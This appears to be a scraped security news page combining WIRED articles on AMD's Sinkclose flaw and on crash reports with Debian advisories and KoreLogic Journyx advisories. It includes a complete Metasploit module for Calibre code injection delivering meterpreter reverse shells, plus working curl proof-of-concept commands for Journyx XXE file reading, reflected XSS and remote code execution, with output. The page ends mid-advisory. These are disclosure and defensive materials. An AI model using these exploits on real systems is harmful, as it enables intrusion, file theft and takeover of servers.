Researchers warn that a bug in AMD’s chips would allow attackers to root into some of the most privileged portions of a computer—and that it has persisted in the company’s processors for decades.

Security flaws in your computer's firmware, the deep-seated code that loads first when you turn the machine on and controls even how its operating system boots up, have long been a target for hackers looking for a stealthy foothold. But only rarely does that kind of vulnerability appear not in the firmware of any particular computer maker, but in the chips found across hundreds of millions of PCs and servers. Now security researchers have found one such flaw that has persisted in AMD processors for decades, and that would allow malware to burrow deep enough into a computer's memory that, in many cases, it may be easier to discard a machine than to disinfect it.

At the Defcon hacker conference tomorrow, Enrique Nissim and Krzysztof Okupski, researchers from the security firm IOActive, plan to present a vulnerability in AMD chips they're calling Sinkclose. The flaw would allow hackers to run their own code in one of the most privileged modes of an AMD processor, known as System Management Mode, designed to be reserved only for a specific, protected portion of its firmware. IOActive's researchers warn that it affects virtually all AMD chips dating back to 2006, or possibly even earlier.

Nissim and Okupski note that exploiting the bug would require hackers to already have obtained relatively deep access to an AMD-based PC or server, but that the Sinkclose flaw would then allow them to plant their malicious code far deeper still. In fact, for any machine with one of the vulnerable AMD chips, the IOActive researchers warn that an attacker could infect the computer with malware known as a “bootkit” that evades antivirus tools and is potentially invisible to the operating system, while offering a hacker full access to tamper with the machine and surveil its activity. For systems with certain faulty configurations in how a computer maker implemented AMD's security feature known as Platform Secure Boot—which the researchers warn encompasses the large majority of the systems they tested—a malware infection installed via Sinkclose could be harder yet to detect or remediate, they say, surviving even a reinstallation of the operating system.

“Imagine nation-state hackers or whoever wants to persist on your system. Even if you wipe your drive clean, it's still going to be there,” says Okupski. “It's going to be nearly undetectable and nearly unpatchable.” Only opening a computer's case, physically connecting directly to a certain portion of its memory chips with a hardware-based programming tool known as SPI Flash programmer and meticulously scouring the memory would allow the malware to be removed, Okupski says.

Nissim sums up that worst-case scenario in more practical terms: “You basically have to throw your computer away.”

In a statement shared with WIRED, AMD acknowledged IOActive's findings, thanked the researchers for their work, and noted that it has “released mitigation options for its AMD EPYC datacenter products and AMD Ryzen PC products, with mitigations for AMD embedded products coming soon.” (The term “embedded,” in this case, refers to AMD chips found in systems such as industrial devices and cars.) For its EPYC processors designed for use in data-center servers, specifically, the company noted that it released patches earlier this year. AMD declined to answer questions in advance about how it intends to fix the Sinkclose vulnerability, or for exactly which devices and when, but it pointed to a full list of affected products that can be found on its website's security bulletin page.

In a background statement to WIRED, AMD emphasized the difficulty of exploiting Sinkclose: To take advantage of the vulnerability, a hacker has to already possess access to a computer's kernel, the core of its operating system. AMD compares the Sinkhole technique to a method for accessing a bank's safe-deposit boxes after already bypassing its alarms, the guards, and vault door.

Nissim and Okupski respond that while exploiting Sinkclose requires kernel-level access to a machine, such vulnerabilities are exposed in Windows and Linux practically every month. They argue that sophisticated state-sponsored hackers of the kind who might take advantage of Sinkclose likely already possess techniques for exploiting those vulnerabilities, known or unknown. “People have kernel exploits right now for all these systems,” says Nissim. “They exist and they're available for attackers. This is the next step.”

IOActive researchers Krzysztof Okupski (left) and Enrique Nissim.Photograph: Roger Kisby

Nissim and Okupski's Sinkclose technique works by exploiting an obscure feature of AMD chips known as TClose. (The Sinkclose name, in fact, comes from combining that TClose term with Sinkhole, the name of an earlier System Management Mode exploit found in Intel chips in 2015.) In AMD-based machines, a safeguard known as TSeg prevents the computer's operating systems from writing to a protected part of memory meant to be reserved for System Management Mode known as System Management Random Access Memory or SMRAM. AMD's TClose feature, however, is designed to allow computers to remain compatible with older devices that use the same memory addresses as SMRAM, remapping other memory to those SMRAM addresses when it's enabled. Nissim and Okupski found that, with only the operating system's level of privileges, they could use that TClose remapping feature to trick the SMM code into fetching data they've tampered with, in a way that allows them to redirect the processor and cause it to execute their own code at the same highly privileged SMM level.

“I think it's the most complex bug I've ever exploited,” says Okupski.

Nissim and Okupski, both of whom specialize in the security of low-level code like processor firmware, say they first decided to investigate AMD's architecture two years ago, simply because they felt it hadn't gotten enough scrutiny compared to Intel, even as its market share rose. They found the critical TClose edge case that enabled Sinkclose, they say, just by reading and rereading AMD's documentation. “I think I read the page where the vulnerability was about a thousand times,” says Nissim. “And then on one thousand and one, I noticed it.” They alerted AMD to the flaw in October of last year, they say, but have waited nearly 10 months to give AMD more time to prepare a fix.

For users seeking to protect themselves, Nissim and Okupski say that for Windows machines—likely the vast majority of affected systems—they expect patches for Sinkclose to be integrated into updates shared by computer makers with Microsoft, who will roll them into future operating system updates. Patches for servers, embedded systems, and Linux machines may be more piecemeal and manual; for Linux machines, it will depend in part on the distribution of Linux a computer has installed.

Nissim and Okupski say they agreed with AMD not to publish any proof-of-concept code for their Sinkclose exploit for several months to come, in order to provide more time for the problem to be fixed. But they argue that, despite any attempt by AMD or others to downplay Sinkclose as too difficult to exploit, it shouldn't prevent users from patching as soon as possible. Sophisticated hackers may already have discovered their technique—or may figure out how to after Nissim and Okupski present their findings at Defcon.

Even if Sinkclose requires relatively deep access, the IOActive researchers warn, the far deeper level of control it offers means that potential targets shouldn't wait to implement any fix available. “If the foundation is broken,” says Nissim, "then the security for the whole system is broken."

‘Sinkclose’ Flaw in Hundreds of Millions of AMD Chips Allows Deep, Virtually Unfixable Infections

One hacker solved the CrowdStrike outage mystery with simple crash reports, illustrating the wealth of detail about potential bugs and vulnerabilities those key documents hold.

When a bad software update from the security firm CrowdStrike inadvertently caused digital chaos around the world last month, the first signs were Windows computers showing the Blue Screen of Death. As websites and services went down and people scrambled to understand what was happening, conflicting and inaccurate information was everywhere. Rushing to understand the crisis, longtime Mac security researcher Patrick Wardle knew that there was one place he could look to get the facts: crash reports from computers impacted by the bug.

“Even though I am not a Windows researcher, I was intrigued by what was going on, and there was this dearth of information,” Wardle tells WIRED. “People were saying that it was a Microsoft problem, because Windows systems were blue-screening, and there were a lot of wild theories. But actually it had nothing to do with Microsoft. So I went to the crash reports, which to me hold the ultimate truth. And if you were looking there you were able to pinpoint the underlying cause long before CrowdStrike came out and said it.”

At the Black Hat security conference in Las Vegas on Thursday, Wardle made the case that crash reports are an underutilized tool. Such system snapshots give software developers and maintainers insight into possible problems with their code. And Wardle emphasizes that they can particularly be a fount of information about potentially exploitable vulnerabilities in software—for both defenders and attackers.

In his talk, Wardle presented multiple examples of vulnerabilities he has found in software when the app crashed and he combed through the report looking for the possible cause. Users can readily view their own crash reports on Windows, macOS, and Linux, and they're also available on Android and iOS, though they can be more challenging to access on mobile operating systems. Wardle notes that to glean insights from crash reports, you need a basic understanding of instructions written in the low-level machine code known as Assembly, but he emphasizes that the payoff is worth it.

In his Black Hat talk, Wardle presented multiple vulnerabilities he discovered simply by examining crash reports on his own devices—including bugs in the analysis tool YARA and in the current version of Apple's macOS operating system. In fact, when Wardle discovered in 2018 that an iOS bug caused apps to crash anytime they displayed the Taiwanese flag emoji, he got to the bottom of what was happening using, you guessed it, crash reports.

“We revealed conclusively that Apple had acquiesced to demands from China to censor the Taiwanese flag, but their censorship code had a bug in it—ridiculous,” he says. “My friend who originally observed this was like, ‘My phone is being hacked by the Chinese. Whenever you text me it crashes. Or are you hacking me?' And I said, ‘Rude, I wouldn’t hack you. And also, rude, if I did hack you, I wouldn’t crash your phone.’ So I pulled the crash reports to see what was going on.”

Wardle emphasizes that if he can find so many vulnerabilities just by looking at crash reports from his own devices and those of his friends, software developers need to be looking there, too. Sophisticated criminal actors and well-funded state-backed hackers alike are probably already getting ideas from their own crash reports. Over the years, news reports have indicated that intelligence agencies like the US National Security Agency do mine crash logs. Wardle points out that crash reports are also a valuable source of information for detecting malware, since they can reveal anomalous and potentially suspicious activity. The notorious spyware broker NSO Group, for example, would often build mechanisms into into their malware specifically to delete crash reports immediately upon infecting a device. And the fact that malware is often buggy makes crashes more likely and crash reports valuable to attackers as well for understanding what went wrong with their code.

“With crash reports, the truth is out there,” Wardle says. “Or, I guess, in there.”

Computer Crash Reports Are an Untapped Hacker Gold Mine

This Metasploit module exploits a Python code injection vulnerability in the Content Server component of Calibre version 6.9.0 through 7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.

    class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',        'Description' => %q{          This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.        },        'License' => MSF_LICENSE,        'Author' => [          'Amos Ng', # Discovery & PoC          'Michael Heinzl', # MSF exploit        ],        'References' => [          [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],          [ 'CVE', '2024-6782']        ],        'DisclosureDate' => '2024-07-31',        'Platform' => ['win', 'linux', 'unix'],        'Arch' => [ ARCH_CMD ],        'Payload' => {          'BadChars' => '\\'        },        'Targets' => [          [            'Windows_Fetch',            {              'Arch' => [ ARCH_CMD ],              'Platform' => 'win',              'DefaultOptions' => {                'FETCH_COMMAND' => 'CURL',                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'              },              'Type' => :win_fetch            }          ],          [            'Linux Command',            {              'Platform' => [ 'unix', 'linux' ],              'Arch' => ARCH_CMD,              'Type' => :nix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'              }            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080)      ]    )  end  def check    begin      res = send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(target_uri.path)      })    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError      return CheckCode::Unknown    end    if res && res.code == 200      data = res.body.to_s      pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/      version = data.match(pattern)      if version[1].nil?        return CheckCode::Unknown      else        vprint_status('Version retrieved: ' + version[1].to_s)      end      if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))        return CheckCode::Appears      else        return CheckCode::Safe      end    else      return CheckCode::Unknown    end  end  def exploit    execute_command(payload.encoded)  end  def execute_command(cmd)    print_status('Sending payload...')    exec_calibre(cmd)    print_status('Exploit finished, check thy shell.')  end  def exec_calibre(cmd)    payload = '['\    '["template"], '\    '"", '\    '"", '\    '"", '\    '1,'\    '"python:def evaluate(a, b):\\n '\     'import subprocess\\n '\      'try:\\n  '\        "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\      'except Exception:\\n  '\        "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\    ']'    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'data' => payload,      'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')    })    if res && res.code == 200      print_good('Command successfully executed, check your shell.')    elsif res && res.code == 400      fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')    end  endend

Calibre 7.15.0 Python Code Injection

Debian Linux Security Advisory 5742-1 - A vulnerability was discovered in odoo, a suite of web based open source business apps. It could result in the execution of arbitrary code.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5742-1                   security@debian.orghttps://www.debian.org/security/                       Sebastien DelafondAugust 08, 2024                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : odooCVE ID         : CVE-2024-4367Debian Bug     : 1074228A vulnerability was discovered in odoo, a suite of web based opensource business apps. It could result in the execution of arbitrarycode.For the oldstable distribution (bullseye), this problem has been fixedin version 14.0.0+dfsg.2-7+deb11u2.For the stable distribution (bookworm), this problem has been fixed inversion $bookworm_VERSION.We recommend that you upgrade your odoo packages.For the detailed security status of odoo please refer toits security tracker page at:https://security-tracker.debian.org/tracker/odooFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQEzBAEBCgAdFiEEAqSkbVtrXP4xJMh3EL6Jg/PVnWQFAma0mLEACgkQEL6Jg/PVnWQKXgf+O9Wy7m7xU3IXmoUyhAvyeKoIEKP1jeTJ5GgFxAyOOJzuWFB9lgtF8o6GiA/TZReuabMq9jFH/Dn5eovF6lI4YpUGwThRTCBZRcGz6KiKdgZ6RiI5MRKsoHoVcn+5N2ecnJ+VFzz2jYzxcfD1Z3/KoiICVZscSbLlxi1ubNTMWQRP5n0YYJ9MxUm1YQY17+3heZdS6IRbxjS/KXJL3MxTQsmCHnoNMXs8+iKtstaFPpYhlc9NrQAIEUwQt4S1UpOZxcXcVtqiv1BkIvxswFytLTE/wTqxeSEzgBan8qelTCu1J+jo+woYzLdHTU3ag03HdiSsem+qdGBMmM9ldRbvGA===eMxY-----END PGP SIGNATURE-----

Debian Security Advisory 5742-1

Journyx version 11.5.4 has an issue where the soap_cgi.pyc API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.

KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection

Title: Journyx Unauthenticated XML External Entities Injection  
Advisory ID: KL-001-2024-010  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-611: Improper Restriction of XML External Entity  
                          Reference  
      CVE ID: CVE-2024-6893

2. Vulnerability Description

      The "soap_cgi.pyc" API handler allows the XML body of  
      SOAP requests to contain references to external entities.  
      This allows an unauthenticated attacker to read local files,  
      perform server-side request forgery, and overwhelm the web  
      server resources.

3. Technical Description

     From an unauthenticated perspective, a user can send an HTTP  
     request to the "/jtcgi/soap_cgi.pyc" endpoint.  The body of the  
     HTTP request is read and processed by the Journyx web server  
     as XML.

     To process these SOAP requests, the third-party component  
     "SOAPpy" is used. The built-in XML parser for "SOAPpy"  
     is "xml.sax". According to the "xml.sax" documentation  
     (https://docs.python.org/3/library/xml.sax.html), versions  
     before 3.7.1 enable XML external entities by default. Since  
     Journyx version 11.5.4 ships with python 3.6, the SOAP API  
     endpoint is vulnerable.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted versions of Journyx, external entity processing  
      can be disabled by editing the old bundled version of SOAPpy by  
      modifying the "Parser.py" file:

        --- Parser.py.orig      2018-11-27 17:26:53.000000000 -0500  
        +++ Parser.py   2024-06-18 10:56:01.993019226 -0400  
        @@ -1036,6 +1036,10 @@  
             # turn on namespace mangeling  
             parser.setFeature(xml.sax.handler.feature_namespaces, 1)

        +    # Disallow external entities, prevent XXE  
        + parser.setFeature(xml.sax.handler.feature_external_ges, 0)  
        + parser.setFeature(xml.sax.handler.feature_external_pes, 0)  
        +  
             try:  
                 parser.parse(inpsrc)  
             except xml.sax.SAXParseException as e:

      Additionally, if API access is not required, requests to  
      /jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI  
      via a ModSecurity rule like the one below:

        SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The "changeUserPassword" SOAP method will reflect the  
     "username" parameter in the HTTP response if the given  
     username does not exist in the Journyx database. This  
     makes exploitation straight forward, as an external  
     entity can be used as the value of "username" and the  
     dynamic value of the entity is reflected in the page  
     response.

     [attacker@box]$ python xxe.py --host redacted.com --port 8080  
     root:x:0:0:root:/root:/bin/bash  
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
     bin:x:2:2:bin:/bin:/usr/sbin/nologin  
     sys:x:3:3:sys:/dev:/usr/sbin/nologin  
     sync:x:4:65534:sync:/bin:/bin/sync  
     games:x:5:60:games:/usr/games:/usr/sbin/nologin  
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
     ...  
     [attacker@box]$

     [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \  
     curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM   
"'$PAYLOAD_TARGET'">]><soapenv:Envelope   
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>'   
\  
     -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user   
/{flag=1;next}/<\/faultstring>/{flag=0}flag'

     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
     bin:x:2:2:bin:/bin:/usr/sbin/nologin  
     sys:x:3:3:sys:/dev:/usr/sbin/nologin  
     sync:x:4:65534:sync:/bin:/bin/sync  
     games:x:5:60:games:/usr/games:/usr/sbin/nologin  
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
     ...  
     [attacker@box]$

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 XML Injection

Journyx version 11.5.4 suffers from a cross site scripting vulnerability due to mishandling of the error_description during an active directory login flow.

KL-001-2024-009: Journyx Reflected Cross Site Scripting

Title: Journyx Reflected Cross Site Scripting  
Advisory ID: KL-001-2024-009  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-009.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-81: Improper Neutralization of Script in an Error  
                          Message Web Page  
      CVE ID: CVE-2024-6892

2. Vulnerability Description

      Attackers can craft a malicious link that once clicked  
      will execute arbitrary JavaScript in the context of  
      the Journyx web application.

3. Technical Description

      During the active directory login flow, if an error  
      occurs, the user is redirected to a page containing  
      an error message outlining the problem. The error  
      message shown in the page response is derived from  
      the "error_description" query parameter that appears  
      in the URL. This parameter is not sanitized or validated  
      prior to being reflected, allowing for an attacker to  
      insert malicious HTML/JavaScript into the "error_description"  
      parameter.

      This vulnerability can be exploited regardless of whether  
      active directory authentication has been configured for the  
      Journyx instance.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will replace special characters with their respective HTML entity  
      representation for the "error" and "error_description" parameters. This  
      list of parameters can be extended as needed.

      Additionally, if SSO is not required, requests to /jtcgi/r/adlogin/sso  
      could be dropped without forwarding invoking FastCGI via a ModSecurity  
      rule like the one below:

           SecRule REQUEST_URI "@contains adlogin/sso" "id:4,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The following URL contains the "error_description"  
     parameter with a value of "%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E":

http://redacted.com:8080/jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E&error=error

     This value is automatically URL decoded to "<svg/onload=prompt('KoreLogic')>"  
     and reflected into the page response:

         <div class="errorMessage">  
             Unable to complete sign-on attempt. This is possibly a configuration error in the application registration   
on the Identity Provider (IdP) side. The IdP server said:  
             <p>error <b><svg onload="prompt('KoreLogic')"></svg></b></p>  
         </div>

     Once this link is clicked or visited in a browser, the  
     javascript function "prompt()" is executed, and a display  
     box is presented, thereby validating the execution of  
     arbitrary JavaScript.

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Cross Site Scripting

Journyx version 11.5.4 has an issue where attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow.

KL-001-2024-008: Journyx Authenticated Remote Code Execution

Title: Journyx Authenticated Remote Code Execution  
Advisory ID: KL-001-2024-008  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-94: Improper Control of Generation of Code  
                          ('Code Injection'), CWE-95: Improper Neutralization  
                          of Directives in Dynamically Evaluated Code  
                          ('Eval Injection')  
      CVE ID: CVE-2024-6891

2. Vulnerability Description

      Attackers with a valid username and password can exploit  
      a python code injection vulnerability during the natural  
      login flow.

3. Technical Description

      When utilizing a username and password to authenticate to  
      Journyx via the web interface, an HTTP request is sent to  
      "wtlogin.pyc" containing the credentials. Upon a successful  
      login, the user is redirected to "wte.pyc" or the URL specified  
      in the "end_URL" body parameter if one is supplied.

      An additional condition is present, however. If the  
      "end_URL" value is over 1,000 characters, the value is instead  
      interpolated into a python "import" statement which is passed  
      into the "exec()" function, thereby executing arbitrary code.

      Code snippet from "wtlogin.pyc":

      finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params)  
      if len(finalURL) < 1000:  
          raise genlib.HTTP302Found(finalURL)  
      else:  
          exec('import %s; %s.main()' % (end_URL, end_URL))

      The "params" variable is derived from the query parameters  
      included in the login request, so the size of "finalURL"  
      is trivial to inflate.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v12.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will force the "end_URL" parameter to always have a value of "wte".

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     By leveraging the existing "web" python module, it is possible  
     to see the output of shell commands as returned by "os.popen()".

     [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \  
                     curl -x http://localhost:8080 -X POST \  
                          -d   
"wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#&timestamp=9999999999&pageid=$RANDOM"   
\  
                          -H 'Cookie: wtsession=foobar' \  
"http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})"

     uid=1000(foo) gid=1000(foo)   
groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)  
     [attacker@box]$

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Authenticated Remote Code Execution

Debian Linux Security Advisory 5743-1 - Multiple cross-site scripting vulnerabilities were discovered in RoundCube webmail.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5743-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
August 08, 2024                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : roundcube  
